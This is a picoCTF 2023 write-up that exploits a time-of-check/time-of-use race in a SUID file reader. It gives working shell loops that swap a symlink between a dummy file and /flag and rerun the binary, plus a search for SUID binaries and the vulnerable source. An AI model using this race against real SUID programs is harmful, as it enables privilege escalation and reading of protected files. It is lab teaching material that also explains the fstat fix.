tic-tac picoCTF 2023 Solution

Published: April 26, 2023

Description

A SUID binary opens a file with ifstream, then calls stat() on the same path to verify the file's owner matches the current user (st_uid == getuid()). Exploit the TOCTOU (Time-Of-Check Time-Of-Use) race condition by swapping a symlink between the open and the stat() ownership check to read the protected flag file.

SSH into the server with the provided credentials.

Locate the SUID binary and the flag file path.

bash
ssh <USER>@<HOST> -p <PORT>
bash
find / -perm -4000 2>/dev/null | head -20

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand the open-then-stat pattern with ltrace
    Observation
    I noticed the binary is SUID and reads a file by path twice (once via ifstream and once via stat), which suggested a TOCTOU race condition and made ltrace the right first tool to confirm the call sequence and measure the gap between the open and the ownership check.
    Run the binary under ltrace and watch the library call sequence. You should see the ifstream constructor trigger an open() syscall, followed by stat() on the same path string - no atomic file-descriptor-based ownership verification in between.
    bash
    ltrace ./txtreader /tmp/dummy.txt 2>&1 | head -20
    bash
    strings ./txtreader
    What didn't work first

    Tried: Run strace instead of ltrace to see the syscall sequence.

    strace shows raw syscalls (open, fstat, read) but does not show the C library call boundaries that reveal the ifstream constructor vs stat() separation at the source level. ltrace intercepts dynamic library calls, so you directly see the std::ifstream constructor and the stat() libc wrapper as distinct events, making the TOCTOU gap obvious without reading assembly.

    Tried: Use strings to find a hardcoded flag or path bypass in the binary.

    strings reveals the path format and error strings but the flag is never stored in the binary - it is read at runtime from /flag which is owned by root. The vulnerability is the race window between open and stat, not a hidden string; strings output will only confirm the stat ownership check logic, not give you a bypass.

    Learn more

    A TOCTOU (Time-Of-Check Time-Of-Use) race condition occurs when a program uses a resource and then checks a condition about it (or vice versa), but the underlying filesystem object can change between those two operations. In this challenge, the binary opens the file via std::ifstream file(filename) first, and only afterward calls stat(filename.c_str(), &statbuf) to verify that statbuf.st_uid == getuid(). Both operations look up the filename string independently with no link between them.

    The vulnerable source code follows this pattern:

    // src.cpp (simplified)
    std::ifstream file(argv[1]);         // OPEN: follows symlink, as euid root
    
    struct stat statbuf;
    stat(argv[1], &statbuf);             // CHECK: re-resolves path independently
    
    if (statbuf.st_uid != getuid()) {    // ownership check vs real uid
        std::cout << "Permission denied" << std::endl;
        return 1;
    }
    
    // read and print file contents...

    Because stat() re-resolves the path string independently from the already-open ifstream, if the symlink is swapped between the open and the stat, the binary ends up having the flag file open while stat sees a user-owned dummy file, passes the ownership check, and then reads and prints the flag content. The gap between the ifstream constructor and stat() executing is tiny - typically 10 to 100 microseconds - but that window is enough.

  2. Step 2
    Set up the race condition infrastructure
    Observation
    I noticed the TOCTOU window exists only while the binary is mid-execution and resolving the same path string independently twice, which suggested creating a symlink that a concurrent switcher loop can flip atomically between a user-owned dummy file and /flag to hit that gap.
    Create a writable dummy file and a symlink. Write a loop that rapidly alternates the symlink between the dummy file and /flag.
    bash
    echo 'dummy' > /tmp/dummy.txt
    bash
    ln -sf /tmp/dummy.txt /tmp/race_link
    bash
    # Switcher loop pinned to CPU 1 so it runs concurrently with the attacker on CPU 0:
    bash
    taskset -c 1 bash -c 'while true; do ln -sf /tmp/dummy.txt /tmp/race_link; ln -sf /flag /tmp/race_link; done' &
    What didn't work first

    Tried: Point the symlink directly at /flag from the start and run the binary once.

    Running the binary with a static symlink pointing at /flag means stat() also resolves to /flag, which is owned by root (not you), so the ownership check st_uid == getuid() fails and the binary prints 'Permission denied'. The race only succeeds when stat() sees a user-owned file - you must flip the symlink between the open and stat calls, not before both of them.

    Tried: Omit taskset and run both loops on the same shell without CPU pinning.

    Without CPU pinning, the Linux scheduler time-slices both loops on a single core, so they effectively take turns rather than running in parallel. The switcher cannot flip the symlink inside the ~10-100 microsecond window between open() and stat() if it is waiting for a scheduler time slice; taskset -c 1 moves the switcher to a separate physical core so both loops run simultaneously.

    Learn more

    The attack requires two concurrent processes: one that continuously flips the symlink target, and one that repeatedly invokes the SUID binary. ln -sf on Linux implements the swap via rename(2), which is documented as atomic: "If newpath already exists, it will be atomically replaced, so that there is no point at which another process attempting to access newpath will find it missing." In practice this means no other process can ever observe a partial state where the path is missing or half-replaced; readers see either the old target or the new target, never an in-between.

    Why taskset -c 1 matters. If both loops run on the same CPU, the kernel scheduler interleaves them in time slices, so they effectively serialize. Pinning the switcher to a different physical core lets it run truly in parallel with the attacker, multiplying the number of effective swaps per second and dramatically narrowing the gap between syscalls in real wall-clock time.

    A tight loop with no sleep maximizes the number of attempts per second, which increases the probability of hitting the race window. With both loops running at ~50,000 iterations/sec, even a 1-in-1000 hit rate lands the flag within seconds. An even faster approach uses C with rename(2) directly, avoiding shell overhead entirely.

  3. Step 3
    Race the binary to read the flag
    Observation
    I noticed the switcher loop was already flipping /tmp/race_link thousands of times per second, which suggested a tight bounded retry loop invoking txtreader on that symlink repeatedly would eventually align with the ideal window where ifstream opens /flag and stat sees /tmp/dummy.txt.
    While the switcher loop runs, repeatedly invoke the SUID binary pointing at the symlink with a bounded retry count. Eventually the timing aligns and the flag is printed.
    bash
    # Bounded retry loop (~100k attempts), exits early on success:
    bash
    for i in $(seq 1 100000); do
    bash
      out=$(./txtreader /tmp/race_link 2>/dev/null)
    bash
      case "$out" in *picoCTF*) echo "$out"; break;; esac
    bash
    done
    bash
    # Or with a wall-clock timeout:
    bash
    timeout 30s bash -c 'while ! ./txtreader /tmp/race_link 2>/dev/null | grep picoCTF; do :; done'

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Run the attacker loop without starting the switcher loop first, expecting the binary to eventually read /flag on its own.

    Without the switcher loop running concurrently, the symlink stays fixed at whatever target it was last set to. If it points at /flag, stat() also sees /flag (owned by root) and denies access every time. If it points at /tmp/dummy.txt, the binary reads the dummy content. The race window only opens when the symlink is actively being flipped between the two targets while the binary is mid-execution.

    Tried: Pass /flag directly to the binary instead of /tmp/race_link to skip the symlink setup.

    Passing /flag directly means both open() and stat() resolve to /flag with no flipping possible. stat() will always see st_uid as root, the ownership check will always fail, and the binary exits with 'Permission denied'. The entire attack depends on the indirection through a symlink that can be swapped atomically between the two independent path resolutions.

    Learn more

    Each iteration of the outer loop calls the binary, which first opens the symlink with ifstream. If the link points at /flag at that moment, the binary gets a handle to the flag file. Then if the switcher flips the link back to /tmp/dummy.txt before stat() runs, the ownership check sees a file owned by you and passes, so the binary reads and prints the already-open flag content.

    Successful race timeline:
    
      switcher loop                       attacker loop
      -------------                       -------------
      rename(link -> /flag)
                                          ./txtreader /tmp/race_link
                                            ifstream open(link) -> /flag
                                                                  (opened with
                                                                   root euid!)
      rename(link -> /tmp/dummy)    <--- WIN: flips here
                                            stat(link)    -> /tmp/dummy
                                                             (you own it)
                                                             passes check
                                            read+puts -> picoCTF{...}

    Why probability matters. The race window is roughly the duration of a few syscalls, around 10 to 100 microseconds. The switcher must hit that exact window. Bounding the loop with seq 1 100000 or timeout 30s prevents an unbounded spin if the race never lands due to scheduler quirks.

    TOCTOU vulnerabilities are classified as CWE-367. Real-world exploits have used them to escalate privileges in package managers, cron jobs, and backup utilities. The correct fix is to use fstat(fd, &statbuf) on the already-open file descriptor rather than re-resolving the path with stat(), which closes the TOCTOU window entirely. For more on Linux command-line workflows used in this exploit, see Linux CLI for CTF.

Flag

Reveal flag

picoCTF{ToctoU_!s_3a5y_...}

Per-instance flag. The prefix picoCTF{ToctoU_!s_3a5y_ is consistent but the 8-character hex suffix varies per instance. Observed: 007659c9 and 2075872e across different instances. The flag is always specific to your own instance.

Key takeaway

TOCTOU (Time-Of-Check Time-Of-Use) race conditions arise whenever a program separates a security check from the action it guards, allowing an attacker to change the resource in between. Any code that checks a file by path and then acts on the same path is vulnerable, because path resolution happens independently at each syscall. The fix is always to operate on an open file descriptor and use fstat rather than re-resolving the path, which collapses the check and use into a single atomic context. Real-world examples include privilege escalation in package managers, cron daemons, and SUID installers.

Related reading

Want more picoCTF 2023 writeups?

Useful tools for Binary Exploitation

What to try next